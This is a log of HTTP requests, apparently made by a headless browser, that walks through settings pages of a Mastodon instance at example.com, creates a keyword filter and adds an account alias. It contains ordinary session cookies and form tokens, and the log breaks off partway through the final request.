{"method": "GET", "target": "/settings/privacy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTAuMTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c08d6d74f0722e6075e50049af8cb26ba50b415; _mastodon_session=ESvWhhLXIb5IvwEvImPQNUBcDJbL5lUz8hdAGoFy%2By%2B5L7in%2Fr607U5KmZa1rt1qQrhNwAFz9ffqF4BZs5oRDquh9ySpEghdzCa1u9zmkiVyqV%2Bvk%2F6gbpiYxvNnLLq2znYPTKrK1JCu3E918JigvXeWTFi4sQPBrUyEiNH6VfQ0OQcxd1yFOw45hXwAEL%2FqFS2KvEdC7idPB%2BC8NX9hvQMmR1QKFgPGm9YSFWbk0Jn9kxX2h9cWuGxo4fl%2Fj8%2FAETkWGqPXLfu1z%2By1rbWDOE29Juzy9RN8wtfgdaOexaF%2BULZBuWzDW7KFVp9zKryvE55LtRvvE5iies4VNG38mRxfw1LQ5BQhMgLvYAtm2flLr%2BlANCEJQxkWjKWgMRumixVoHSDp3fRY--QAvZ6RyGu3FaiU2r--MP8%2Btdujx1xsH3ZpOsONYQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/preferences/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTIuOTg1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f06c4a187472007ec80e4e16dd7c7bc5407eba76; _mastodon_session=QzNd%2B7s6RDu2pZvOPvursIx0RViZPk4FjWVqadE7TJbySS7hzA7ax3JucFyHA6ebS5NmsSJzo3Rq5a4wj%2BO%2FjwLYUM4CNUr8R8XsW7osNO39Q9Kd1m0ZafMiTXoflmIrtxu2TL%2BG6nzjRK3FCoQIv31CGtJhvA%2FBnD%2FGfsVe37lfH5ET94Wcf1dlHyEJfgW9nPpK08GhHMva7gbBrAOvIx9%2BjFRg%2FY4%2BLh27Z%2Bp9zO7JWg46LMTwosPT3WUA6LE3PVJuVS5bu2KxMlNU1PrNerK2aejiaqH13tdafiReP%2BCozkXm4UVvqSIhr%2BuGL9glbZSW6w2Pmwe886p1oTygtBtPOUkfQndAyDDHGpL6ABzJayJctEvyxDaGBXCB5gG4klAZMsRieMwA--1iV1U2xDOJ3%2F5PPZ--zld9kYcPYij9nhIL1AcMhQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/inert-1no54Nn4.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/settings/preferences/appearance", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9909ed63d43e9c19b084f0fb23ec55f4e59d050a; _mastodon_session=7tjo%2B%2FYpJZ3MRI8e1dRyHJr2fl%2BsXegs%2BeEUw%2Bg7yY3cP0oYetkaC572BDnqi27izpnt97Qp%2FEtFMAkofaNW57SGD%2FLF7cBLEO70lHBWrKTF62ePI8hRnldPh0CZbAprh84J%2Fp1J%2Bo33jkhTYWKvr2JbmtoDMlnY%2FGDkHQ0JvCZMMOHoN4laMahC5XOTMdsPPWYD9q8oa9bktcOiAnACRCBJXcRSnzZUkj79J9Djn0W%2FGKto%2BiWOgIxjwHi%2BfeyKX57upS%2FKWRuFH%2FqytSqlVKX7OVAEydVVKhj8Dfb2ghUAmY%2FC44OraVPLZjXGT59kvg02ghopnezQxERzk0vrETloOr54bWT2fqNrNRQ33WTXUgrwC7va2fEatdNNyHFXqahUN9maleiz--IkuvXFWBqbHiuWUm--oV5Fldvkhq%2BHBjsUJtnczg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/toString-HjykfQcJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/settings/preferences/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9909ed63d43e9c19b084f0fb23ec55f4e59d050a; _mastodon_session=7tjo%2B%2FYpJZ3MRI8e1dRyHJr2fl%2BsXegs%2BeEUw%2Bg7yY3cP0oYetkaC572BDnqi27izpnt97Qp%2FEtFMAkofaNW57SGD%2FLF7cBLEO70lHBWrKTF62ePI8hRnldPh0CZbAprh84J%2Fp1J%2Bo33jkhTYWKvr2JbmtoDMlnY%2FGDkHQ0JvCZMMOHoN4laMahC5XOTMdsPPWYD9q8oa9bktcOiAnACRCBJXcRSnzZUkj79J9Djn0W%2FGKto%2BiWOgIxjwHi%2BfeyKX57upS%2FKWRuFH%2FqytSqlVKX7OVAEydVVKhj8Dfb2ghUAmY%2FC44OraVPLZjXGT59kvg02ghopnezQxERzk0vrETloOr54bWT2fqNrNRQ33WTXUgrwC7va2fEatdNNyHFXqahUN9maleiz--IkuvXFWBqbHiuWUm--oV5Fldvkhq%2BHBjsUJtnczg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-intl-DlKP8ATg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/filters/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTguNTMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--24e18be452656feeab86ad6cb063cc017e5d9d2b; _mastodon_session=RMx%2BzbbCPxKsZLL8xfC2vJk2gUMp%2F7NzSrirNmOuKt0YoaZ0X2oFOG4c9ggZmd%2FO%2Bd7BzMzTP0BIQv4cDxdb0r2Z%2FYZRAV94puVDupS7sU1yXzK21BHq5V4ikIm53DJL76wgr%2BWQ7197g188iWFzwMIB9YQsq0onkxgxXwdlcOEsGhGyjCndxCcR42rM2SBAfuafvEAKzgl43lslIXavoAwPcfGeJkB%2F8vYlid8nkj2r5l8QWaoNDnHMyE8VVbipYp3SWQ1iqUwLF4dQt9S2OZ8PI5oH%2FiJFEPO%2FEk%2BJ%2B2%2Fs%2BWvZQUZy3tv5JCUYK4QWZKxW58QyZQVkMuOzTT9BvOIzvri1ZtsQk1aZnESH%2FSB8V%2F%2FpGPz%2B3TiYO8HlMh8FRtpE32FTMJ7Z--o7%2BacWwQZ76tpCov--%2F4geSPBo1DUX4hIfR58gSg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/isSymbol-3r8dk6Lb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "POST", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 586", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/filters/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDEuMzgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3ef4e1eba59269a07dcb045c6e8b15ad45f1d01a; _mastodon_session=%2B9RgFTwPbZGW3O4wyerudZE3lQeFvkltxfc%2Bs1nVBtc41FJpyWfWCsP0ZbR4%2BtwOSk4%2BsYQKr69ex9wcbfuKOr9iEZdr7jXVH1gt6Kocc5jsBR3elyIy3kYY%2FEeccGypPkM%2FCX5tZ1TMZ496hnvWA%2BBmqXHFXigDSP9GeIMLDAIFOEpGhqFvqwtHb7eH2t7%2FZTDusiNAx0S1Vb6%2B73en5l88AMuUygZrtQcDt70p9bajUkkzYx8qaCAgR8Ory9UTuQGHdXQUdsp7D5P3Kg7znfuSjiZyhlD5zrEB65nFKC4bGHUhgDS3JkXyf6VCnD7Mdl32zcWwKEdwE9XMdTf2TLtMjxxfNuBb%2F6GpzZHJDVBwCGmGNoUTlkWS9Jss1uNBea6kEcK%2FZDtJ--4%2F9voX%2BPMZz4aFrc--aLd9K%2F0Ub4dLGCAlJ5jO2w%3D%3D"], "body": "authenticity_token=LCIEgZ6K9rFHJBmbiyRj7sTI_8bL-kYEWpQz-egbprRCcaVdeI9WtKHk-qQyHULW-raiPye2V3Hgz9YnyRtHZA&custom_filter%5Btitle%5D=python3+spam&custom_filter%5Bexpires_in%5D=&custom_filter%5Bcontext%5D%5B%5D=&custom_filter%5Bcontext%5D%5B%5D=home&custom_filter%5Bfilter_action%5D=&custom_filter%5Bfilter_action%5D=warn&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bkeyword%5D=ls+-la&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bwhole_word%5D=0&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bwhole_word%5D=1&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5B_destroy%5D=false&button="}
{"method": "GET", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/filters/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--178fc96acb0068990cfc47d1551418883e144e0e; _mastodon_session=M8BBwxBD6z2zVijTYQmWtBt42qydXsvrjpU%2FMAplQl7qSFExeglqxNFkX2aPWd9cSLZYcxAeamBlQjaqLDmtmz%2FuWpUNgsEVm%2F8SHPR7GdTF1QQIocbAoKb4YGpOyiJ3YcJ5Iwty69rtVG9bcFzaSXZoMMVq25d8JzJOyEplsTady12gtd%2BbLR9w2hcyCkniy4986Hu%2B2jCHjPOlvmoQGlcSIIxvLsfUT6eTTQEqG8gcuoTzuhkatxHi5MZMyxAAmgMvRKDtJm1jQ9oJ3dBY%2FWblWoawPfQdXwrvV9lP5ZtMeaKS5tTAt3JuANfyQvW%2FHSAsmthyMHpac0DZVTJyzniJhuVpivDwaRgzfpUWCvy1JvYOOWG38Elrq1BiNa8JWxnX71wjsCSQ--RXbqThSrLHijr5GF--gmYkVzz5ddwHpcscdf1zaA%3D%3D"], "body": ""}
{"method": "GET", "target": "/sounds/boop.ogg", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: identity;q=1, *;q=0", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: audio", "Referer: https://example.com/filters", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8649e46dce24eb0e5d4f443a95aa4414914784bb; _mastodon_session=Oyuv8BRIQKPMk32FAVpeii1WikN1AqaaKEo3ML99SUI58pQVZCzJWqIg7A81qujcg8GV3SV7o8ZZjPr6p8%2BpLajtfV3Aqf%2B%2BPt2iAxDw6L6zYCgZ1eygHWqk66jZxdOEGoPKwY8ftLD5h2HXA1kwStdbslwKVXI8gF%2F2GVDYb%2FRmN4En55jiLGlg%2FSjMjsmkj8RFcuVUq81jeXKcrgxQuLIkWeem39u6ddinhlwvERRyEnEQxYZDnegrbUUp8yiIFMo2KF8Bj8S31Jw8%2BUN05l0FOPqWQlSk6tuF22QFIQP93EE6VoODQZ5r8vbvQ%2BeCjjaIfJarY0rcK62eiD6fbauhqd1HKKjmpDTO%2BtGHAh%2FfObbcOWs81apyNuIgNP4st%2FGl6oAiJ150--4G5N1RKvjI0fnHcp--Jdxfrbxt4EFmb%2BO9KRi18g%3D%3D", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8649e46dce24eb0e5d4f443a95aa4414914784bb; _mastodon_session=Oyuv8BRIQKPMk32FAVpeii1WikN1AqaaKEo3ML99SUI58pQVZCzJWqIg7A81qujcg8GV3SV7o8ZZjPr6p8%2BpLajtfV3Aqf%2B%2BPt2iAxDw6L6zYCgZ1eygHWqk66jZxdOEGoPKwY8ftLD5h2HXA1kwStdbslwKVXI8gF%2F2GVDYb%2FRmN4En55jiLGlg%2FSjMjsmkj8RFcuVUq81jeXKcrgxQuLIkWeem39u6ddinhlwvERRyEnEQxYZDnegrbUUp8yiIFMo2KF8Bj8S31Jw8%2BUN05l0FOPqWQlSk6tuF22QFIQP93EE6VoODQZ5r8vbvQ%2BeCjjaIfJarY0rcK62eiD6fbauhqd1HKKjmpDTO%2BtGHAh%2FfObbcOWs81apyNuIgNP4st%2FGl6oAiJ150--4G5N1RKvjI0fnHcp--Jdxfrbxt4EFmb%2BO9KRi18g%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuNjc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6a2a520b7bb8cd2a1e069c68a59f6aff417a3c58; _mastodon_session=JGc3Zy3GwJnO%2FnjN3s1MDvdTMThgp3mxaKnwcdjMf76Acsmgzopa6hB49OsB0DlCj9NaJTLy5z9yTAp6UXyWxHuJ3%2FAviboiVagtHcFT4MZjo2HiPkAc2kFAdEOvtz6s0HxCnWrXbSNObKf2%2FX%2FN1Tp33q4vAKi2Gcln7epjktt4XU7EBYMH585hLXlvyDWBuePpo08FUwKSlS6JjUMEAafep31NB0MKIScUUPRuEMaF8dVN%2BZoGKQcIbJnNJniGlx1Ab1UImi1%2B8rmEiZkRVtl2dhVx7dUp4oPNH%2Brweuieo5zu1ddHO1SKpUvvwVwjUPem1Ql2YA6nuHNYf6J4oMNMma7%2F2JBV7OXNambFVwv9u%2BBMQcbeWaAnXnddhl6%2FoY%2B0mdbTZa2T--g1Gw6aiczSsJ9UDJ--BAemydruKgwRPMZvem4Q%2BA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/admin-gQ_AIoJT.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDcuMjg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9716d2c4c827f94dab5f9de25903ab0eeb4c113e; _mastodon_session=Lgn%2B7FyEaGgWs7EjyyxtY1Q%2F4hhVvZ8BNWe7w0IMN7haJ%2B0rkJeXmSefMRTWLCpLKLYkKnbsdDvJhljvPpdcb4koVuKMt47792WCEElMpyS9mMq5qijzK9hGDgKDvqiRihE0VzsHLuqB5V6apIBgjaaiqlPNFnfxW7f6OropEqGr%2BC6vOOvjnjLJ8IXtcVUC5hGBo%2BkCnvPeGuOIWe%2BTJvlVCeliGwie1d0Ee9dDVcOtHb6iFvz2na850Vsmy24fMBbzLSmwrZfxQBVBvy9f2yKs2nH52c0lnxSEnexN3clsJ4RHUQlAKpA1ECT7M1CXik7h0yaYzgT16G9aDjXk6d1axsooeagwo2QuSS8SRV8J7EK4FZsWQfYEMb73aAervzVNQ51UPEn0--pgs80cepd48NGgMU--ketRNfEgJJC6t6r58m%2BMtQ%3D%3D"], "body": ""}
{"method": "POST", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 160", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDcuMjg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9716d2c4c827f94dab5f9de25903ab0eeb4c113e; _mastodon_session=Lgn%2B7FyEaGgWs7EjyyxtY1Q%2F4hhVvZ8BNWe7w0IMN7haJ%2B0rkJeXmSefMRTWLCpLKLYkKnbsdDvJhljvPpdcb4koVuKMt47792WCEElMpyS9mMq5qijzK9hGDgKDvqiRihE0VzsHLuqB5V6apIBgjaaiqlPNFnfxW7f6OropEqGr%2BC6vOOvjnjLJ8IXtcVUC5hGBo%2BkCnvPeGuOIWe%2BTJvlVCeliGwie1d0Ee9dDVcOtHb6iFvz2na850Vsmy24fMBbzLSmwrZfxQBVBvy9f2yKs2nH52c0lnxSEnexN3clsJ4RHUQlAKpA1ECT7M1CXik7h0yaYzgT16G9aDjXk6d1axsooeagwo2QuSS8SRV8J7EK4FZsWQfYEMb73aAervzVNQ51UPEn0--pgs80cepd48NGgMU--ketRNfEgJJC6t6r58m%2BMtQ%3D%3D"], "body": "authenticity_token=rpk2nZjS_rJ6h0kZGCR_6GMegaA0nKTc4BiOUrEA1Qx-SGG5_1QK_NWKi2LzVFrn7HIIyQ4GfdE7CeIrYlhVEA&account_alias%5Bacct%5D=alice%40remote.example&button="}
{"method": "GET", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 